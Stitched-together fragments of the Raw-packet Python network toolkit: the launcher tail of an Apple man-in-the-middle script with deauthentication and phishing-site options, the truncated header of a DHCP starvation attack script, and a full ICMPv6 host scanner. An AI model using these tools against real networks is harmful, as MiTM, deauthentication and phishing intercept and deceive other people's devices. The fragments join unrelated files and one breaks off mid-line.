default='fde4:8dba:82e1:ffff::/64') args = parser.parse_args() # endregion # region Print banner base.print_banner(__script_name__) # endregion # region Start Apple MiTM try: apple_mitm: AppleMitm = AppleMitm() apple_mitm.start(mitm_technique=args.technique, disconnect_technique=args.disconnect, mitm_interface=args.mitm_iface, deauth_interface=args.deauth_iface, target_mac_address=args.target_mac, target_ipv4_address=args.target_ipv4, target_new_ipv4_address=args.target_new_ipv4, target_ipv6_address=args.target_ipv6, target_new_ipv6_address=args.target_new_ipv6, gateway_ipv4_address=args.gateway_ipv4, gateway_ipv6_address=args.gateway_ipv6, dns_ipv4_address=args.dns_ipv4, dns_ipv6_address=args.dns_ipv6, ipv6_prefix=args.ipv6_prefix, phishing_site=args.phishing_site) except KeyboardInterrupt: base.print_info('Exit') exit(0) except AssertionError as Error: base.print_error(Error.args[0]) exit(1)
# endregion # region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = [''] __license__ = 'MIT' __version__ = '0.0.4' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**' __status__ = 'Production' # endregion # region Check user, platform and print banner Base = Base() Base.check_user() Base.check_platform() Base.print_banner() # endregion # region Parse script arguments parser = ArgumentParser(description='DHCP Starvation attack script') parser.add_argument('-i', '--interface', type=str, help='Set interface name for send discover packets') parser.add_argument('-d', '--delay', type=int,
def main(): # region Init Raw-packet classes base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) utils: Utils = Utils() # endregion # region Parse script arguments parser: ArgumentParser = ArgumentParser(description=base.get_banner(__script_name__), formatter_class=RawDescriptionHelpFormatter) parser.add_argument('-i', '--interface', type=str, help='Set interface name for ARP scanner') parser.add_argument('-m', '--target_mac', type=str, help='Set target MAC address', default=None) parser.add_argument('-t', '--timeout', type=int, help='Set timeout (default=5)', default=5) parser.add_argument('-r', '--retry', type=int, help='Set number of retry (default=5)', default=5) parser.add_argument('-s', '--router_search', action='store_true', help='Search router IPv6 link local address') args = parser.parse_args() base.print_banner() # endregion # region Get your network settings current_network_interface: str = \ base.network_interface_selection(interface_name=args.interface, message='Please select a network interface for ' + __script_name__ + ' from table: ') current_network_interface_settings: Dict[str, Union[None, str, List[str]]] = \ base.get_interface_settings(interface_name=current_network_interface, required_parameters=['mac-address', 'ipv4-address']) if current_network_interface_settings['ipv6-link-address'] is None: current_network_interface_settings['ipv6-link-address'] = \ base.make_ipv6_link_address(current_network_interface_settings['mac-address']) icmpv6_scan: ICMPv6Scan = ICMPv6Scan(network_interface=current_network_interface) router_search: ICMPv6RouterSearch = ICMPv6RouterSearch(network_interface=current_network_interface) # endregion # region Set Target MAC address target_mac_address: Union[None, str] = None if args.target_mac is not None: target_mac_address: str = utils.check_mac_address(mac_address=args.target_mac, parameter_name='target MAC address') # endregion # region General output base.print_info("Network interface: ", current_network_interface) base.print_info("Your IPv6 address: ", current_network_interface_settings['ipv6-link-address']) base.print_info("Your MAC address: ", current_network_interface_settings['mac-address']) if target_mac_address is not None: base.print_info("Target MAC address: ", target_mac_address) base.print_info("Timeout: ", str(args.timeout) + " sec.") base.print_info("Retry: ", str(args.retry)) # endregion # region Search IPv6 router if args.router_search: router_info: Dict[str, Union[int, str]] = router_search.search(timeout=args.timeout, retry=args.retry, exit_on_failure=True) base.print_success("Found IPv6 router:") base.print_info("Router IPv6 link local address: ", router_info['router_ipv6_address']) if 'dns-server' in router_info.keys(): base.print_info("DNS server IPv6 address: ", str(router_info['dns-server'])) if 'router_mac_address' in router_info.keys(): base.print_info("Router MAC address: ", router_info['router_mac_address']) if 'vendor' in router_info.keys(): base.print_info("Router vendor: ", router_info['vendor']) if 'router-lifetime' in router_info.keys(): base.print_info("Router lifetime (s): ", str(router_info['router-lifetime'])) if 'reachable-time' in router_info.keys(): base.print_info("Reachable time (ms): ", str(router_info['reachable-time'])) if 'retrans-timer' in router_info.keys(): base.print_info("Retrans timer (ms): ", str(router_info['retrans-timer'])) if 'prefix' in router_info.keys(): base.print_info("Prefix: ", str(router_info['prefix'])) if 'mtu' in router_info.keys(): base.print_info("MTU: ", str(router_info['mtu'])) # endregion # region Scan IPv6 hosts else: results: List[Dict[str, str]] = icmpv6_scan.scan(timeout=args.timeout, retry=args.retry, target_mac_address=target_mac_address, check_vendor=True, exit_on_failure=True) base.print_success('Found ', str(len(results)), ' alive hosts on interface: ', current_network_interface) pretty_table = PrettyTable([base.cINFO + 'Index' + base.cEND, base.cINFO + 'IPv6 address' + base.cEND, base.cINFO + 'MAC address' + base.cEND, base.cINFO + 'Vendor' + base.cEND]) index: int = 1 for result in results: pretty_table.add_row([index, result['ip-address'], result['mac-address'], result['vendor']]) index += 1 print(pretty_table)
class ICMPv6Scan: # region Set variables _base: Base = Base() _icmpv6: RawICMPv6 = RawICMPv6() _raw_sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv6-link-address': None } _target: Dict[str, Union[None, str]] = { 'ipv6-address': None, 'mac-address': 'ff:ff:ff:ff:ff:ff', 'vendor': None } _results: List[Dict[str, str]] = list() _unique_results: List[Dict[str, str]] = list() _mac_addresses: List[str] = list() _retry_number: int = 3 _timeout: int = 3 _icmpv6_identifier: int = 0 # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Analyze packet def _analyze_packet(self, packet: Dict) -> None: try: assert 'Ethernet' in packet.keys() assert 'IPv6' in packet.keys() assert 'ICMPv6' in packet.keys() assert 'type' in packet['ICMPv6'].keys() assert 'identifier' in packet['ICMPv6'].keys() # 129 Type of ICMPv6 Echo (ping) reply assert packet['ICMPv6']['type'] == 129, \ 'Not ICMPv6 Echo (ping) reply packet!' # Check ICMPv6 Echo (ping) reply identifier assert packet['ICMPv6']['identifier'] == self._icmpv6_identifier, \ 'ICMPv6 Echo (ping) reply bad identifier' # Add MAC- and IPv6-address in result list self._results.append({ 'mac-address': packet['Ethernet']['source'], 'ip-address': packet['IPv6']['source-ip'] }) except AssertionError: pass # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ICMPv6 packets :return: None """ self._raw_sniff.start( protocols=['Ethernet', 'IPv6', 'ICMPv6'], prn=self._analyze_packet, filters={ 'Ethernet': { 'destination': self._your['mac-address'] }, 'IPv6': { 'destination-ip': self._your['ipv6-link-address'] }, 'ICMPv6': { 'type': 129 } }, network_interface=self._your['network-interface'], scapy_filter='icmp6', scapy_lfilter=lambda eth: eth.dst == self._your['mac-address']) # endregion # region Sender def _send(self) -> None: """ Send ICMPv6 packets :return: None """ request: bytes = self._icmpv6.make_echo_request_packet( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst='ff02::1', id=self._icmpv6_identifier) self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.3) # endregion # region Scanner def scan(self, timeout: int = 3, retry: int = 3, target_mac_address: Union[None, str] = None, check_vendor: bool = True, exit_on_failure: bool = True, exclude_ipv6_addresses: List[str] = []) -> List[Dict[str, str]]: """ Find alive IPv6 hosts in local network with echo (ping) request packets :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_mac_address: Target MAC address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True) :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}]) """ # region Clear lists with scan results self._results.clear() self._unique_results.clear() self._mac_addresses.clear() # endregion # region Set variables if target_mac_address is not None: self._base.mac_address_validation(mac_address=target_mac_address, exit_on_failure=True) self._target['mac-address'] = target_mac_address self._timeout = int(timeout) self._retry_number = int(retry) self._icmpv6_identifier = randint(1, 65535) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Unique results for index in range(len(self._results)): if self._results[index]['mac-address'] not in self._mac_addresses: self._unique_results.append(self._results[index]) self._mac_addresses.append(self._results[index]['mac-address']) # endregion # region Get vendors if check_vendor: for result_index in range(len(self._unique_results)): self._unique_results[result_index]['vendor'] = \ self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address']) # endregion # region Exclude IPv6 addresses if len(exclude_ipv6_addresses) > 0: results: List[Dict[str, str]] = list() for unique_result in self._unique_results: if unique_result['ip-address'] not in exclude_ipv6_addresses: results.append(unique_result) self._unique_results = results # endregion # region Return results if len(self._unique_results) == 0: if exit_on_failure: self._base.error_text( 'Could not found alive IPv6 hosts on interface: ' + self._your['network-interface']) exit(1) return self._unique_results